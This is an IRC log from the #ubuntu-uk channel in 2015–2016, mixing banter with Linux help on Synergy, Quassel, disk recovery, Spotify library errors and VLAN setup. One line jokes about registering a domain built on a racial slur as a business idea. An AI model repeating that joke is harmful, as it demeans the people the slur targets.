<m0nkey_> I know that, but I currently don't have a build environment for windows
<awilkins> ^ link above
<m0nkey_> ta
<diddledan> m0nkey_, I can email it to you if you want the stable version
<m0nkey_> diddledan, i'd appreciate that
<diddledan> 64bit?
<m0nkey_> I found binaries for 1.3.1
<m0nkey_> yeah
<awilkins> The main annoyance I always had was it not being compatible with the one in teh Debian repo  (because it was old)
<awilkins> TBH the old builds work fine
<awilkins> Not sure what value the esteemed Nick Bolton really adds to the thing
<diddledan> apparently there's him and another guy who are claiming the funds as full-time employment?
<awilkins> Yeah, can't comment on the economics of it but that's the picture (they probably do other work too)
<diddledan> 1.4.18 can be gained from http://synergy-project.org/download/free/
<awilkins> 1.6.2 is in the Debian repo
<awilkins> You need the same minor version for the protocol to work
<awilkins> Oh wait
<awilkins> Sorry, that's the getdeb version
<awilkins> Trusty and Utopic are on 1.4.12
<awilkins> So will probably work with that version without further tinkering
<awilkins> Prefer QuickSynergy as a UI for it
<m0nkey_> it's working
<awilkins> huzzah
<m0nkey_> now just to get it to launch and start listening at login
<m0nkey_> thanks again diddledan!
<diddledan> no probs
<grebulus> yay I won ! looks like I'm a developer now, then.
<diddledan> you won?
<awilkins> Auction on Lenovo lappy
<diddledan> aah
<m0nkey_> lol
<m0nkey_> It seems a bit fishy to me
<grebulus> still came to slightly under 200 with postage. :-)
<grebulus> just no returns, posted .. but can always sell locally, i guess.
<grebulus> maybe i will.
<grebulus> in time.
<grebulus> *shall
#ubuntu-uk 2015-02-21
<mapps> hey
<knightwise> morning mapps
<Skype> hello
<skimo12> Hi @Skype
<Skype> ive been banned from #ubuntu now i have to keep on this lurkers channels
<Skype> #ubuntu is over crowded anyways
<Skype> whats up with you?
<Skype> skimo12:?
<Skype> are you a chelsea fan?
<skimo12> Bolton Wanderers : ) lol
<Skype> never eard of them
<skimo12> : )
<skimo12> no problem : )
<Skype> at least your not racist chealsea fan
<skimo12> i'm using ubuntu 14.04 and i'm having problems starting up Quassel, which is my normal IRC client. Is anyone else having the same problem? The person who posted the link below has the same problem as me, but no solution. http://osdir.com/ml/ubuntu-bugs/2014-07/msg03053.html
<Skype> whats the problem?
<skimo12> please see the link above for the full description
<Skype> ok
<Skype> thats fixed now
<Skype> are you using unity?
<skimo12> Where's the fix please? Maybe i missed something on the page. Yes i am using Unity. The normal ubuntu 14.04
<Skype> https://github.com/quassel/quassel/commit/3939820389d995f56a073fc1d54ab245c6558312
<skimo12> I've updated Quassel to the latest version and the problem still occurs. It started about 6 months ago
<Skype> change DE
<skimo12> i would like to know if anyone on this IRC channel is using Quassel as their client, and on ubuntu14.04 please. I prefer to keep Unity as my DE for now. Thanks for your suggestion Skype, but I prefer to not take that route
<Skype> ask #ubuntu
<skimo12> I found a solution -thanks to Google translate for helping me read an answer from someone in french. I edited the ~/.config/quassel-irc.org/quasselclient.conf so that the MainWinHidden=true was changed to 'false'.
<grebulus> Moin moin
<skimo12> @Skype: i now saw the solution that you were pointing me to. The page that I had listed didn't have the whole thread. I now found the complete thread where some extra information was given. Thanks for helping, but i just didn't understand what you were referring to. Here is the full thread https://bugs.launchpad.net/ubuntu/+source/quassel/+bug/1299872
<lubotu3> Launchpad bug 1299872 in quassel (Ubuntu) "Quassel Client won't start with recent updates (3/30/2014)" [Undecided,Confirmed]
<brobostigon> morning boys and girls.
<Seeker`> EVA starting now http://www.ustream.tv/nasahdtv
<brobostigon> more *buntu/unity on click,
<brobostigon> ikea
<brobostigon> more *buntu@MIT
<MrBarackOsama> hey guys my google chrome wont launch
<m0nkey_> try running google-chrome from the terminal
<MrBarackOsama> i did that and it worked but when i launch google chrome from the launcher it wont open
<m0nkey_> re-install it
<MrBarackOsama> i did that
<MrBarackOsama> no luck
<knightwise> hmmm
<knightwise> friends iPhone on my desk.
<knightwise> Red-screen-of-death
<m0nkey_> Toss it in the trash, get an Android device.
<zmoylan-pi> get a dumbphone, they're great
 * zmoylan-pi offers to play phone conkers with anyone here :-)
<DJones> knightwise: Just make a comment on twitter about with the #apple or #ios tag, they'll  probably replace to pretend that they don't have breakages
#ubuntu-uk 2015-02-22
<m0nkey_> Congrats to Mr & Mrs S :-D
<Myrtti> thank you!
<m0nkey_> Sorry I missed it. Any video or photos uploaded yet?
<m0nkey_> brb.. kids fighting in the bath
<Myrtti> he passed out, I'm still winding down, been awake for 23 hours now
<Myrtti> yes, I'm just clueless about where
<Myrtti> ok, Im done now too
<Myrtti> good night
<m0nkey_> heh
<m0nkey_> Much like my wedding. Didn't sleep for nearly 24hrs
<m0nkey_> Have a good night, looking forward to the pictures.
<m0nkey_> Congrats again!
<m0nkey_> Just wish I could have been there
<daftykins> not sleeping after a wedding 0o what madness is this!?
<mapps> hi daftykins
<mapps> ;]
<daftykins> mornin o/
<daftykins> https://www.dropbox.com/s/6wfui9s5ufehwh8/IMG_20150221_213750.jpg?dl=0
<daftykins> birthday cake!
<mapps> :)
<daftykins> pissed but still using CLI Loonix to recover data off a hard disk for someone
<daftykins> aww yis
<mapps> lol
<mapps> ;]
<mapps> hdd dying?
<daftykins> it was a little 2.5" external in a small rubbery encased enclosure, didn't pop up in Windows at all so i just took it apart
<daftykins> now it's mounted under Linux in some spare laptop i have lying around, rsync'ing over to my file server
<daftykins> \o/
<mapps> ah cool
<mapps> what you gonna do after
<mapps> format it and stuff?
<daftykins> i could probably do with checking the SMART data of it i guess, see what's up
<daftykins> likely it's just this little controller board to convert it to USB that was shot
<daftykins> https://www.dropbox.com/s/9eqojwio1k92gpl/IMG_20150222_040912.jpg?dl=0
<mapps> ah
<mapps> i keep thinking about putting all my films and tv on one machine and then having access to it via all machines..but cant decide whwther to..just some kinda slimeline machine maybe 1u with a few 3tb hdds?
<leviathaan> niggurl.com is unregistered :D
<leviathaan> i have a business idea
<daftykins> mapps: better just get a NAS
<Myrtti> daftykins: it was before I didn't sleep.
<daftykins> wat
<Myrtti> I didn't sleep that much night previous, but now I have. wedding was yesterday B-)
<Myrtti> now I can finally tell you guys about my arduino project
<daftykins> given it's past 5:30am, definitions of today and yesterday aren't all that clear
<Myrtti> it's 0730 in Finland, and the wedding venue will start seeing breakfast in a bit
<Myrtti> inlaws are apparently going to leave after breakfast so they'll have some time for sightseeing before their flight leaves for Blighty
<daftykins> crikey that's a brief stint
<Myrtti> so I should probably wake the hubby up
<daftykins> in a wife-like manner!
<Myrtti> yeah, it was disappointing that they couldn't stay for longer
<Myrtti> but they came
<daftykins> i have to blow off a school time friends Australia wedding soon, no way many of us are affording that
<Myrtti> we invited over 50 people from uk, have then timetables fir ryanair and Norwegian, chose this venue so they'd have relatively cheap lodging abs no need for commuting from lodging to the ceremony and to the party and back. Could done 5 days in snowy Finland fir about 250 fir travel and lodging and a free dinner and craptonne of free drink, if booked early enough.
<Myrtti> 9 came.
<Myrtti> was disappointed but c'est la vie
<Myrtti> party was great anyway
<daftykins> ouch
<daftykins> yeah that's a pretty poor number given the Â£
<Myrtti> our cake topper https://flic.kr/p/qSk2RV
<ging> something keeps overload my pc when i have lots of stuff open always around 8:30, ubuntu must be doing something at this time i just can't figure out what
<ging> no cron jobs, nothing in logs or anything, but it happens too often at this time to be a conincidence
<ging> and the libre office auto save is pants
<brobostigon> morning boys and girls.
<m0nkey_> Myrtti, had I been in the UK, I would have been there. Flying over the Atlantic is expensive.
<zmoylan-pi> swimming is time consuming... :-)
<m0nkey_> A couple of weeks, at least.
<MooDoo> howdy all
<brobostigon> afternoodlings MooDoo
<MooDoo> how are you brobostigon
<brobostigon> not bad, and you?
<MooDoo> yeah i'm ok thanks, just reading up on maas
<mapps> nice sunny day today:D
<brobostigon> :)
<brobostigon> we have rain here mapps
<brobostigon> storm like rain.
<dtuxcomp> looking for help setting uk keyboard on linux lite not sure if in correct room
<zmoylan-pi> does linux lite have an irc chatroom?
<dtuxcomp> no idea
<zmoylan-pi> seems not anymore... https://www.linuxliteos.com/forums/index.php?topic=377.0
<dtuxcomp> yeah thanks just found that, coudln't find answer in forums
<dtuxcomp> so stuck with us keymap grrr!
<dtuxcomp> bye and thanks again
<daftykins> *facepalm*
<zmoylan-pi> sure aren't they all the same? :-P
<daftykins> makes me cringe
<daftykins> we get people lying about their distro in #ubuntu so that people will help
<daftykins> then you wonder why things are never working as they should... :P
<zmoylan-pi> some are lying some are just... /uninformed/... http://notalwaysright.com/missed-out-on-the-ifad/41885 :-)
<daftykins> oh i know, i've seen it all
<zmoylan-pi> i had a 30 minute call once from a customer having trouble printing before i finally managed to work out they had no printer...
<zmoylan-pi> i never did work out where they expected the paper would come out
<penguin42> zmoylan-pi: !
<daftykins> zmoylan-pi: :D
 * daftykins starts on a scotch egg
 * zmoylan-pi wonders what the scotch egg did to earn daftykins ire...
<shauno> I'm pretty sure they deserve ire simply for existing
<daftykins> 'ire' 0o
<Myrtti> m0nkey_: I know, you have a good reason.
<Myrtti> well, had.
<zmoylan-pi> they still have time to invent a time machine... :-)
<SuperEngineer> ..& today's paraphrase is...
<SuperEngineer> time, don't talk to me about about time... here I am, brain the size of a planet & they talk about time
<SuperEngineer> ;)
<m0nkey_> Myrtti, I'm hoping you guys are going to upload some photos soon :)
<zmoylan-pi> and pain in the diodes all down his left side...
<SuperEngineer> lol
<Saur0> hi can anyone help me out with a rsyslog issue?
<daftykins> ask it first, but #ubuntu might be better.
<daftykins> plenty more active volunteers
<Saur0> fair one
<popey> Morning
<daftykins> g'day
<daftykins> popey on travels again?
<popey> nah
<popey> just been in bed all weekend
<popey> flu
<daftykins> d'aww
<daftykins> get well soon, sir
<Myrtti> m0nkey_, and why not others too: https://www.facebook.com/dsample/posts/10155300740545713
<popey> Laney: just had the whole house dancing to that taylor swift video on the telly :)
<Myrtti> which reminds me
<m0nkey_> Myrtti, awesome photo :D
<MooDoo> taylor swift?  wth?
<MooDoo> love photo Myrtti
<popey> yes MooDoo, taylor swift
<Myrtti> wait until you see the bouquet :-D my several month soldering, crimping, crocheting, programming, knitting, glueing, shopping and fretting spent
<zmoylan-pi> that is a _great_ photo
<MooDoo> eeeeeeeek
<MooDoo> ubuntu uk, getting down with that sic beat ;)
<MooDoo> oops do I now owe her royalties for saying that?
<zmoylan-pi> buy 10 t-shirts as an apology and you're good :-)
<daftykins> you must certainly apologise to my poor brain for having to read that ;)
<diddledan> MooDoo, surely it should be "don't stop moving to the funky funky beat"?
<diddledan> https://www.youtube.com/watch?v=XZpId6p0tdw
<MooDoo> I'm blind
<diddledan> hmm, that video got cut off
<diddledan> annoying now because I need the earworm to complete itself
<Myrtti> tada, hubby arrived :-D
<Myrtti> engagement ring has 0x2665 on it, wedding band has 0x221e
<daftykins> dungeddit
<m0nkey_> bah, bluetooth on the Note4 sucks. If I have my moto360 connected, then use my bluetooth headphones, they sounds like crap. disconnect the 360 and it sounds normal.
<Myrtti> someone is falling asleep with his laptop in his lap...
<zmoylan-pi> a packed laptop never charges...
<dsample> daftykins: 0x2665 is the UTF-16 character code for â¥, 0x221E is for â
<Myrtti> in reality, it's just zeroes, ones and one Ruby
<daftykins> dsample: ty :)
<dsample> cya. I apparently need to sleep
<Myrtti> ttyl â¥
<daftykins> nn o/
<m0nkey_> Is that the dsample I think it is?
<m0nkey_> So, don't go away now.
<dsample> m0nkey_: of course
<m0nkey_> :)
<m0nkey_> Congrats! :)
<dsample> m0nkey_: shouldnât you be in #ubuntu-ca though? :P
<m0nkey_> So, you've got the house. You've got the girl. You know what's next. I have two of them :P lol
<daftykins> we let him stay in return for occasional biscuits
<daftykins> m0nkey_: yes, dogs!
<m0nkey_> Maple cookies, ftw!
<m0nkey_> They're not dogs.
<daftykins> or cats, depending on preference
<m0nkey_> Or cats.
<daftykins> d'aww
<dsample> Not until [at least] the honeymoon
<m0nkey_> lol
<daftykins> TMI
<Myrtti> :-P
<Myrtti> I vote for cats.
<m0nkey_> Cats suck. I know this. I have one.
<m0nkey_> Yesterday, he pretended to be dead.
<m0nkey_> As in, wouldn't move at all. Poked, prodded and shouted at. Nothing.
<m0nkey_> Of course, I start to worry. Next thing I know, he jumps down from the sofa to fill has face with food.
<zmoylan-pi> we used to have people knocking on our front door to tell us the cat in the window was dead.  they'd knock/bang and slap the glass to try and make her react but she didn't
<m0nkey_> Wife wont let me have a dog.
<m0nkey_> Dogs are awesome.
<dsample> we were planning on a dog a while ago
<zmoylan-pi> the closest thing to a reaction would be to wash herself when dogs were having fits head butting the glass trying to get her.  i think she did it to annoy them
<m0nkey_> Dogs are awesome. They don't talk back to you. They don't ask for stuff. They don't cry, shout or scream.
<m0nkey_> When/if you have kids, you'll realise why dogs are man's best friend. :-P
<dsample> lol
<dsample> Anyway, I really need to go to bed
<m0nkey_> Go
<m0nkey_> Don't let me keep you up.
<dsample> cya :)
<m0nkey_> Anyway, we should try and catch up at some point.
<dsample> definitely. Not sure how, but yes :)
<m0nkey_> Come to Montreal. We got everything from snow, Poutine to even more snow with sub zero temperatures :D
<Myrtti> best of all, it's not USA
<m0nkey_> bingo
<m0nkey_> You'll have to deal with the French language around these parts.
#ubuntu-uk 2016-02-22
<knightwise> morning peeps
<MooDoo> morning all
<diplo> Morning all
<davmor2> Morning all
<davmor2> MooDoo: enjoy your little LXD adventure?
<MooDoo> davmor2: you're a git!
<czajkowski> Aloha all
<MooDoo> howdy czajkowski
<davmor2> MooDoo: you and I both know you loved it
<davmor2> czajkowski: howdy stranger
<czajkowski> davmor2: howdy sunshine!
<knightwise> aloha
<JamesTait> Good morning all!  Happy Monday, and happy Be Humble Day! ð
 * knightwise is GREAT at being humble .. probably THE BEST 
<brobostigon> morning boys and girls.
 * zmoylan-pi scans outside with tricorder and confirms it is indeed morning...
<davmor2> JamesTait: You'll like this https://www.youtube.com/watch?v=h7KKn9xk1iI
<davmor2> JamesTait: nice really because I'd got this stuck in my head this morning https://www.youtube.com/watch?v=htobTBlCvUU so I'd been listening to bjork :)
<JamesTait> Nice. âº
<diddledan> bjork, the musical pixie
<zmoylan-pi> enya and bjork should do an album, would drive dogs bonkers... :-)
<davmor2> zmoylan-pi: throw in Kate Bush, Toyah and Cyndi Lauper too
<zmoylan-pi> i think at that point the geneva convention kicks in... :-P
<diddledan> lmao
<diddledan> now that is a girl group I'd love to see
<zmoylan-pi> best weapon against isis... evar... :-)
<awilkins> The Bjork explanation of how TV works is very soothing
<awilkins> https://www.youtube.com/watch?v=75WFTHpOw8Y
<davmor2> diddledan: so what did you think to layla slow/blues version :)
<diddledan> odd
<davmor2> diddledan: It's like familiar and funky and wrong all at the same time right :)
<davmor2> diddledan:  like https://www.youtube.com/watch?v=jYluMAO1b7Y and https://www.youtube.com/watch?v=d-mYX0qKkB8
<davmor2> diddledan: what I think makes it a bit more weird is it is still the same artist
<diddledan> that "you're the one that I want" could be a bit letcherous
<knightwise> hmmz
<knightwise> New Thule backpack = Awesomesauce
<foobarry> in light of quite a few mums on my fb feed getting sucked into the latest pyramid scheme, i was reading one man's experiences of Amway
<foobarry> turns out it was near identical to scientology
<diplo> Tis why I try not to read FB to much foobarry, to many levels of stupid on there
<diddledan> the problem with facebook is it reveals that your family are morons
<davmor2> diddledan: no really I can't see that, well only daily :D
<diplo> Not my family, none of them post :D
 * m0nkey_ is wondering if he should migrate his main computer to Ubuntu. 
<knightwise> m0nkey_: from ... Xp ?
<knightwise> Wind 95 ?
<m0nkey_> 10 :)
<m0nkey_> Only thing missing for me is a good control software for my Corsair RGB keyboard
<MooDoo> m0nkey_: if you want to do it do it :)  i'd try it with a USB stick first :D
<m0nkey_> MooDoo, everything works just fine.
<MooDoo> m0nkey_: I dual boot at the moment
<m0nkey_> I'm thinking about dual-booting, might pop in a hard drive to share data across both.
<MooDoo> I only dual boot as photostop CC doesn't work on ubuntu yet
<m0nkey_> Everything I do, I can now do in Ubuntu. Most of the limitations 6-12 months ago I've overcome.
<m0nkey_> There's only one limitation now. Wife likes to use my PC while I'm at work.
<m0nkey_> :)
<MooDoo> get a hard drive caddy ;)
<davmor2> MooDoo: not even in wine?
<MooDoo> davmor2: don't think CC works, but I think cs6 can to an extent
<MooDoo> davmor2: don't have a copy of cs6, but subscribe to CC
<davmor2> MooDoo: https://appdb.winehq.org/objectManager.php?sClass=version&iId=29832
<davmor2> MooDoo: https://appdb.winehq.org/objectManager.php?sClass=version&iId=32438
<davmor2> and that's MooDoo excuse for dual boot blown out the water :D
<m0nkey_> Now do Fallout 4 :)
<diddledan> https://twitter.com/ronalddevera/status/701521315165970432
<diddledan> eep
<m0nkey_> Looks like a WordPress installation.
<diddledan> lol
<diddledan> davmor2: omg, photoshop cc runs on wine?! :-o
<diddledan> that's unpossible
<diddledan> now all I'm missing is a decent twitterer
<davmor2> diddledan: nothing can help you twitter except maybe a ghost writer :P
 * diddledan twits
<MooDoo> davmor2: got me there, but support looks pants, rather run it natively
<diddledan> I like "crash each time app is closed"
<diddledan> also from the second "Gold" Rated test in the list: "it will be run good"
<diddledan> yarr, it be good
<diddledan> you have the option to either read that in westcountry farmer dialect or piratese
<diplo> OI, I r from the westcountry!
<diddledan> yarr!
<davmor2> MooDoo: it's always looked pants get a life and use the gimp/blender/inkscape/darkroom/anything else :P
<MooDoo> davmor2: no i will not *stamps foot and pouts*
 * davmor2 takes a photo that's so funny a look on you
<diddledan> I'm testing-out a new text editor - lighttable
<diddledan> http://lighttable.com/
<davmor2> diddledan: \o/
<davmor2> diddledan: is that just cause there aren't enough test editors on linux already? :D
<diddledan> aye
<m0nkey_> vi
<m0nkey_> that is all
<diddledan> YASTE <-- yet another sodding text editor :-p
<m0nkey_> PASTE <--- probably another sucky text editor
<diddledan> :-)
<m0nkey_> term coined and tm
<diddledan> author of bash got a pwnie award for "most overrated bug" last year for shellshock
<m0nkey_> ugh, why the heck do people put things like BSC, MBA, ITIL etc after their names?
<m0nkey_> I got the ITIL crap, but never use it.
<diddledan> m0nkey_: try listing yourself as m0nkey m00 WTF BBQ
<m0nkey_> I'm going to do that
<m0nkey_> Regard // m0nkey_ OMG WTF BBQ
<davmor2> m0nkey_: because it makes it seem more legitimate and like the might know what they are on about
<m0nkey_> lol
<diddledan> yeah, that's what they _think_ it does. it doesn't.
<m0nkey_> davmor2, that must mean I must be in a unique position to be confident enough that I know what the heck I'm talking about without putting a ton of letters behind my name.
<diddledan> m0nkey_: BSc PhD WWF WWE WTF BBQ
<davmor2> plus it looks good on a cv :D
<m0nkey_> Pretty sure BSc stands for Bronze Swimming certificate.
<diddledan> haha
<davmor2> World Wrestling Entertainment and World Wildlife Foundation that's just greedy having both of those
<diddledan> isn't that what rimmer has?
<m0nkey_> diddledan, ah.. you got the reference
<m0nkey_> +10 internet points for you
<diddledan> I love internet points!
<diddledan> I think you need a BSOD in there, too
<m0nkey_> I legitimately have the ITILv3 certification, yet I still don't understand why people do it. maybe i'm not vain enough? :)
<davmor2> m0nkey_: no you're just not middle management material :D
<diddledan> I've got security clearance somewhere
<m0nkey_> davmor2, probably
<diddledan> alas it's not quite top secret clearance
<m0nkey_> Although I was recently encouraged to apply for a management position. But I don't feel ready to do it.
<diddledan> formally IL3 but they changed all the designations
<m0nkey_> diddledan, I got something for the French and Italian air force allowing me to handle 'sensitive information'
<m0nkey_> I forget what they call it
<davmor2> diddledan: I have, I'm allowed to drive on any military base :)  Fun huh
<m0nkey_> ITAR, that's it
<davmor2> Why I'd want to now without a Lorry full of goods is beyond me but hey :)
<zmoylan-pi> that would be fun if you could bring your own vehicle.  some eastern european jeep would be nice there... :-)
<diddledan> davmor2: "goods" == improvised thingies ? ;-)
<diddledan> looks like my police-vetting is classed as "Security Clearance" or SC
<diddledan> very nondescript
<diddledan> the next-level-up is Developed Vetting or DV which apparently involves face-to-face interviews with members of my family to approve me
<diddledan> oh, and QE2 has power of attorney over my affairs
<diddledan> that's a separate thingy
<davmor2> diddledan: that's you failed then, I mean I wouldn't trust him as far as I can spit wouldn't go down well right ;)
<zmoylan-pi> a linux user... trusted... :-P
<diddledan> QE2 is a dude?
<davmor2> diddledan: wait what a boat has attorney over your affairs
<zmoylan-pi> not a boat, a ship
<diddledan> no the woman they named the boat after
<zmoylan-pi> submarines are boats
<diddledan> so we throw queenie in the sea to find out whether she sinks or swims - that'll tell us whether she's a boat or ship
<zmoylan-pi> and if she's a witch
<diddledan> :-)
<diddledan> hmm. that might turn out bad
<zmoylan-pi> well as long as she leaves the crown off...
<diddledan> I mean if she's a witch we will have to burn her at the stake, which I believe could be misinterpreted as treason
<zmoylan-pi> no, as a witch queen, she'd be fair game
<zmoylan-pi> no longer defender of the faith and all that
<diddledan> faith was a bit murderous anyway. I much preferred buffy
<Seeker> diddledan: it's fairly standard for people to include qualifications after their name in things related to healthcare / pharmacy
 * diddledan checks under his chair
<diddledan> who, me?
<Seeker> -17:32:07- :diddledan : yeah, that's what they _think_ it does. it doesn't.
<diddledan> scroll a bit more - I didn't start that convo
<m0nkey_> ugh, proxmox constantly polls a remote storage device, albeit nfs or iscsi, filling the storage server logs with crap
<davmor2> Seeker: yes but you want to know that doctors and stuff are trained
<diddledan> m0nkey_: \o/
<diddledan> m0nkey_: logs ftw!
<m0nkey_> so in my freenas server logs, I got a ton of "export request succeeded from" and "ctld[68354]: child process 68410 terminated with exit status 1" messages
<Seeker> and some things, like membership to professional bodies, can be significant
<Seeker> for some value of significant
 * awilkins channels JamesTait 
<awilkins> Happy Japanese Cat Day!
<JamesTait> ð
<JamesTait> ð
<JamesTait> Or even ð¸
<_Sponge> Yay ! I got a gNew job today !
<m0nkey_> GNU job? :)
<sebsebseb> hi
<m0nkey_> Is there a way to bring up a vlan interface and not assign an IP?
<m0nkey_> it works no problem when i give it an IP
<m0nkey_> figured it out
<m0nkey_> brought the vlan interface up as loopback
<m0nkey_> got my virtualbox machines working on vlans now :)
#ubuntu-uk 2016-02-23
<diddledan> https://www.youtube.com/watch?v=xF77Y1JLScc funky town!
<m0nkey_> another tuen i gotta add to my google music
<m0nkey_> ok, so I gave up on Proxmox, Vmware and KVM
<m0nkey_> So now, I got virtualbox running headless with phpvirtualbox and it's actually performing very well
<diddledan> http://monologues.co.uk/Les_Barker/Harold_Ventriloquist.htm
<m0nkey_> gnight all
<diddledan> nn
<mapps> hi all
<mapps> anyone watched darknet?
<mapps> all s,eeing i guess
<mapps> sleeping even
<zmoylan-1i> or don't watch much tv...
<diplo> Morning all
<zmoylan-pi> ...and anyone not named all... :-)
<DJones> Thats still not as good as the old "Fire at Will", poor Will he must be like a kitchen colander
<zmoylan-pi> i play a character called will in a d&d game, this has happened...
<davmor2> Morning all
<diplo> zmoylan-pi: Do you sleep? Or work nights or something? Saw you post at 4:36 this morning :)
<zmoylan-pi> insomnia, i get 4.5 hours sleep most days :-S
<diplo> Sounds like me, although I don't come on IRC :)
<diplo> I go to bed 12-1 though and wake 4-5
<zmoylan-pi> i have a darkened screen beside bed for when i can't sleep, might as well flick through headlins
<JamesTait> Good morning all!  Happy Tuesday, and happy Curling is Cool Day! ð
<zmoylan-pi> it's a bit of a niche game, no?
<JamesTait> I've never tried it myself, but according to one of the teachers at my youngest's school it's increasing in popularity.
<zmoylan-pi> where do they get the ice?
<JamesTait> From what I gather, they didn't - it was played on a highly-polished floor instead.
<diplo> I've got a couple of ex work colleagues who curl ( 20-30's ) and yes it is getting more popular
<zmoylan-pi> does that count as curling? wouldn't the ice vary a lot from polished floor, and how do the sweepers work?
<JamesTait> I dunno - I imagine the surfaces behave very differently, but then I don't think the kids were playing with big lumps of granite either.
<JamesTait> Curling lite, perhaps?
<davmor2> JamesTait: so something you do on ice hmmmmmmmmm https://www.youtube.com/watch?v=rog8ou-ZepE and https://www.youtube.com/watch?v=moSFlvxnbgk combined should do it
<JamesTait> davmor2, how dare you?
<JamesTait> Flaming Vanilla Ice, really!
<davmor2> JamesTait: it is the first song that springs to mind when someone say Ice everytime
<JamesTait> I suppose he would say "Mission Accomplished!"
<davmor2> JamesTait: we should make it the new rickrolling maybe people seem to like Never Gonna Give you up too much :D
<JamesTait> Stop!
<JamesTait> Collaborate and listen...
<davmor2> JamesTait: and now it's stuck in your head :P
<JamesTait> davmor2, nah - I've put Let It Go on repeat. ð
<brobostigon> morning boys and girls.
<diddledan> spotify on xenial - does anyone know if symlinking /lib/x86_64-linux-gnu/libgcrypt.so.20 to /lib/x86_64-linux-gnu/libgcrypt.so.11 would be a viable fix?
<davmor2> diddledan: you can try I just grab the deb from packages.ubuntu.com for trusty :)
<diddledan> yeah, symlinking doesn't work
<diddledan> complains: spotify: /lib/x86_64-linux-gnu/libgcrypt.so.11: version `GCRYPT_1.2' not found (required by /opt/spotify/spotify-client/Data/libcef.so)
<diddledan> :-(
<davmor2> diddledan: grab the trusty one from packages.ubuntu.com then :)
 * diddledan does so and then feels dirty
<davmor2> diddledan: indeed not ideal but it does work and it still a support distro so it gets security fixes :)  They will most likely upgrade it to xenial once released
<diddledan> yeah but those security fixes won't get delivered automatically via apt
<diddledan> because I am on xenial
<davmor2> diddledan: so enable security for trusty :)
<davmor2> diddledan: or would that be too easy?
<awilkins> Are you on the stable spotify or the testing one?
<diddledan> you're determined to turn my computer into frankenstein's monster
<bigcalm> Never thought I'd put a non-LTS on my laptop, but I did and it's quite stable. Well done peeps
<awilkins>  > deb http://repository.spotify.com testing non-free
<bigcalm> diddledan: spotify works out of the box for me on 15.10. What's the issue?
<awilkins> I think I remember that gcrypt issue
<awilkins> But it seems to have resolved
<diddledan> bigcalm: this is 16.04
<bigcalm> Okay
<davmor2> bigcalm: you're welcome all those hours weeping at missing lug meetings were worth it ;)
 * awilkins is also liking Wily a lot
<foobarry> :-|
 * diddledan plays with ... *FAMILY FRIENDLY*
<diddledan> seriously, wily is a bad bad name
<foobarry> is wily out yet?
<diddledan> *unzips*
<foobarry> have you tried playing with it yet?
<foobarry> !isitoutyet
<lubotu3> It's out! Party in #ubuntu-release-party - download at http://ubuntu.com/download/
<foobarry> :-|
<diddledan> yeah, wily has just been released on 15.10
<diddledan> really recently
<awilkins> Xenial Xena Warrior Princess
<diddledan> \o/
<awilkins> Ayiyiyiyiiyiyii! etc : https://dl.dropboxusercontent.com/u/10616420/chakram-buntu.jpg
<sebsebseb> hi
<mapps> hi all
<m0nkey_> wooh, bonded ethernet.
#ubuntu-uk 2016-02-24
<mapps> hi
<mapps> hi zmoylan-1i
<zmoylan-1i> o/
<diplo> Morning all
<brobostigon> morning boys and girls
<JamesTait> Good morning all!  Happy Wednesday, and happy Tortilla Chip Day! ð
<davmor2> JamesTait: just you remember you did this to yourself https://www.youtube.com/watch?v=Z6hy_zoE1MI
<foobarry> .
<foobarry> did linux voice share their scribus templates? might be interesting to see
<popey> foobarry: scribus templates?
<foobarry> yeah they moved from indesign to scribus 9 months ago
<popey> blimey
<popey> didnt realise that
<foobarry> https://www.linuxvoice.com/issues/015/Linux-Voice-Issue-015.pdf page 26
<popey> I'm being interviewed by Graham next wek.
<popey> *week
<foobarry> they also intednded to return some profit to scribus (e.g. Â£1000 )
<foobarry> for features
<foobarry> scribus would get used more if there were professional looking templates
<mapps> hi
<n1md4> hello.  anyone know how to update-initramfs with mdadm blacklisted?
<n1md4> i thought the module name was raid1 but that's not it.
<n1md4> the problem is, my system is failing to boot whilst attempting assemble a sw raid.
<diddledan> interesting. windows 10 in a virtualbox is very very VERY slow with more than 2 cpus assigned
<diddledan> ref: https://forums.virtualbox.org/viewtopic.php?f=2&t=75201
<awilkins> Is that to do with multiple cores, or the fact that they had all their host CPU assigned to the VM
<awilkins> Would it still be slow with 3/4 cores of an i7 assigned to the guest?
<awilkins> Leaving 1 core to do the overhead of running VirtualBox on the host?
<awilkins> VBox isn't as lean a hypervisor as those devoted to running VMs on the barest box possible, yes?
<davmor2> diddledan: use kvm instead
<diddledan> kvm doesn't do seamless (or didn't last I looked)
<diddledan> plus I need virtualbox for damned vagrant (specifically varying vagrant vagrants which uses vagrant with a vb image and doesn't support other methods :-()
<davmor2> diddledan: https://help.ubuntu.com/community/SeamlessVirtualization
<davmor2> diddledan: http://linuxsimba.com/vagrant-libvirt-install/
<davmor2> diddledan: you can also do uefi and secureboot on kvm too :D
<diddledan> yeah, the problem isn't that vagrant doesn't work with whatever, it's that vvv's setup doesn't
<diddledan> they support vb, parallels, vmware fusion or hyper-v (ish)
<diddledan> https://github.com/Varying-Vagrant-Vagrants/VVV
<davmor2> diddledan: ah fair enough
<celesteh> Hello, I'm upgrading my ubuntu studio distro (i think to wolverine, but I wasn't really paying attention) and it's now got a window open asking me which CA-certificcates i would like to trust. They all start with 'mozilla'. Does anyone have advice?
<m0nkey_> Hit yet and move on
<charles_h> So select none of them?
<zmoylan-pi> i think m0nkey_ means yeth... /lisp
<m0nkey_> If you don't want to trust any CA, go for it :)
<m0nkey_> yet? .. yes..
<m0nkey_> My keyboard has a lisp
<charles_h> the default is that none of them are selected.
<m0nkey_> ok, back to work for me
<charles_h> (((((i feel (i should ( make( a lisp joke)))))))
<charles_h> Asking users what CAs they want to use is a terrible design decisions....
<charles_h> ok, thanks. going to try it with none of them ....
<m0nkey_> Why is prompting for CA certs a bad thing?
<m0nkey_> You can always reconfigure by running: dpkg-reconfigure ca-certificates
<diddledan> cer stiffy cates
<diddledan> my nanna always puts an S before the t
<m0nkey_> Windows 10 is now showing full screen adverts on the lock screen
<m0nkey_> http://www.howtogeek.com/243263/how-to-disable-ads-on-your-windows-10-lock-screen/
<m0nkey_> ^-- I think that has convinced me to switch out completely.
<m0nkey_> yup, i'm out of windows. back soon
<mapps> hi all:D
<zmoylan-pi> we should start a kickstarter to advertise ubuntu on lock screen :-)
<zmoylan-pi> if this were linux you wouldn't be seeing adverts...
<mapps> what lock screen!?
<zmoylan-pi> i think it's the login or switch user screen
<mapps> oh
<mapps>  crim minds, fresh meat, sunny in philly, arrow suits - good tv night
<diddledan> zmoylan-pi: forgotten about amazon results in your dash so soon?
